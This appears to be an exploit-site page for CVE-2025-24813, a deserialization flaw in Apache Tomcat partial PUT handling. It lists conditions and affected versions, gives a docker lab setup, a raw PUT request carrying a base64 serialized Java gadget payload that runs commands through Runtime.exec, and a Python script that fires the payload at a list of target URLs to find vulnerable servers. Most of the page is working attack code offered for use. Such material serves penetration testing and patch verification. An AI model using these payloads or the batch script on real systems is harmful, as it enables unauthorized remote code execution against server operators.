Sploitus

Exploit for CVE-2025-24813

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN252 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHARIS3306-CVE-2025-24813
## Exploitation Conditions

  * DefaultServlet Write Function Enabled: Must configure `readonly=false` in `web.xml`
  * Partial PUT Request Support: Tomcat supports chunked upload by default
  * File Session Persistence Enabled: Must configure `PersistentManager` and `FileStore` in `context.xml`
  * Deserialization Exploit Chain Exists: The classpath must contain a vulnerable library



## Affected Versions

  * 9.0.0.M1 <= Apache Tomcat <= 9.0.98
  * 10.1.0-M1 <= Apache Tomcat <= 10.1.34
  * 11.0.0-M1 <= Apache Tomcat <= 11.0.2



## Exploitation Difficulty

  * Complex
  * Strict



### Environment Setup

Download the vulnerable version

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/9.0.98/

![](https://assets.kitploit.com/production/public/readmes/23827/d39fab4f5797e4fd961df6a40aa442f1754f4fc2e01eb7f534445cb109124707.png)

![](https://assets.kitploit.com/production/public/readmes/23827/01215826fa51ac79b170fc6c972cd6bcc5d8857fd298ff1398eabb3e8fb6b139.png)

#### Manual Configuration

  1. In conf/web.xml, set DefaultServlet's readonly to false to enable write functionality



root@kitploit:~
    
    
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    
    

  2. In conf/context.xml, enable File session storage



root@kitploit:~
    
    
    <Manager className="org.apache.catalina.session.PersistentManager">
        <Store className="org.apache.catalina.session.FileStore"/>
    </Manager>
    

root@kitploit:~
    
    
    version: '3.8'
    services:
      tomcat:
        image: tomcat:9.0.8-jre8-slim
        container_name: CVE-2025-24813  # specify container name
        volumes:
          # mount and replace web.xml
          - ./web.xml:/usr/local/tomcat/conf/web.xml
          # mount and replace context.xml
          - ./context.xml:/usr/local/tomcat/conf/context.xml
          # Add JAR file to lib directory
          # 
          - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
        ports:
          - "8080:8080"
    

## Start Environment

root@kitploit:~
    
    
    docker-compose up -d
    

#### Exploit Chains

##### cck1

![](https://assets.kitploit.com/production/public/readmes/23827/536b59c800772e9e873e05cabd8c675dd9b7f73151662294b1fed420495b9712.png)

##### cc10

![](https://assets.kitploit.com/production/public/readmes/23827/ac733cbfeda699e0116971cfac5d21e28283332753d0ef28e42537b4b754e4b6.png)

root@kitploit:~
    
    
    PUT /pocss/session HTTP/1.1
    Host: 192.168.223.132:8080
    Content-Length: 1000
    Content-Range: bytes 0-1000/1200
    
    {{base64dec(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)}}
    

![](https://assets.kitploit.com/production/public/readmes/23827/57f701a679de515042df7dbb39f8c0c5c0e8d9b0283be713d2229c9051257220.png)

root@kitploit:~
    
    
    GET / HTTP/1.1
    Host: 192.168.223.132:8080
    Cookie: JSESSIONID=.pocss
    

![](https://assets.kitploit.com/production/public/readmes/23827/54bb8bad5cacdea3b39c5f5173ca0fd5d396251c71c5da4fcb832d5fca3980b2.png)

![](https://assets.kitploit.com/production/public/readmes/23827/d1e555e8d21d076e1131eca30907c7b3ab2f7045c2c03778d8d8ceac654c7a21.png)

### Batch Exploitation EXP

root@kitploit:~
    
    
    import base64
    import requests
    import sys
    import time
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    def main():
        # Get file path arguments
        url_file = sys.argv[1] if len(sys.argv) > 1 else 'url.txt'
        payload_file = sys.argv[2] if len(sys.argv) > 2 else 'payload.ser'
    
        # Read target URL list
        try:
            with open(url_file, 'r') as f:
                urls = [line.strip() for line in f if line.strip()]
                
            # URL format validation
            valid_urls = []
            for url in urls:
                if not url.startswith(('http://', 'https://')):
                    print(f"Warning: {url} is not a valid URL (missing protocol), skipped")
                    continue
                if not url.split('//')[1]:
                    print(f"Warning: {url} is not a valid URL (missing hostname), skipped")
                    continue
                valid_urls.append(url)
                
            if not valid_urls:
                print("No valid URLs to test")
                return
                
        except FileNotFoundError:
            print(f"[+] {url_file} file not found")
            return
    
        # Read and decode payload.ser
        try:
            with open(payload_file, 'rb') as f:
                datas = f.read()
            payload = base64.b64decode(datas)  # Only base64 decode, no UTF-8 decode
                
        except FileNotFoundError:
            print("payload.ser file not found")
            return
    
        # Construct PUT request
        headers = {
            'Content-Length': '1000',
            'Content-Range': 'bytes 0-1000/1200'
        }
        headers2 = {
            'Cookie': 'JSESSIONID=.pocs'
        }
        
        # Configure request
        proxies = {
            'http': 'http://127.0.0.1:8083',
            'https': 'http://127.0.0.1:8083'
        }
        
        # Ignore HTTPS certificate errors
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        verify_ssl = False
        
        # Statistics
        total = len(valid_urls)
        vulnerable = 0
        
        vulnerable_urls = []
        
        for i, url in enumerate(valid_urls):
            try:
                # Send PUT request
                response = requests.put(f"{url}/pocs/session", headers=headers, data=payload, timeout=3, proxies=proxies, verify=verify_ssl)
                
                if response.status_code != 409:
                    continue
                    
                # Send GET request
                response = requests.get(url, headers=headers2, proxies=proxies, verify=verify_ssl)
                if response.status_code == 500:
                    vulnerable_urls.append(url)
                    vulnerable += 1
                    
            except requests.exceptions.RequestException:
                continue
        
        print("\n" + "="*50)
        print(f"[+] Scan complete!")
        print(f"[+] Total targets: \033[1;33m{total}\033[0m")
        print(f"[+] Vulnerable: \033[1;31m{vulnerable}\033[0m")
        print(f"[+] Secure targets: \033[1;32m{total - vulnerable}\033[0m")
        
        if vulnerable > 0:
            print("\n[+] Vulnerable URLs:")
            for vuln_url in vulnerable_urls:
                print(f"  - {vuln_url}")
            
            # Write vulnerable URLs to file
            with open('vulnerable_urls.txt', 'w') as f:
                for vuln_url in vulnerable_urls:
                    f.write(vuln_url + '\n')
            print(f"[+] Vulnerable URLs saved to vulnerable_urls.txt")
        
        print("="*50)
    
    
    if __name__ == "__main__":
        main()
    
    

Script Usage

root@kitploit:~
    
    
    python CVE_2025_24813.py
    

![](https://assets.kitploit.com/production/public/readmes/23827/da0c7f2b5b56ff3ab57e0f3d6002632008eb46de2761dde7bee55dfeaba7400e.png)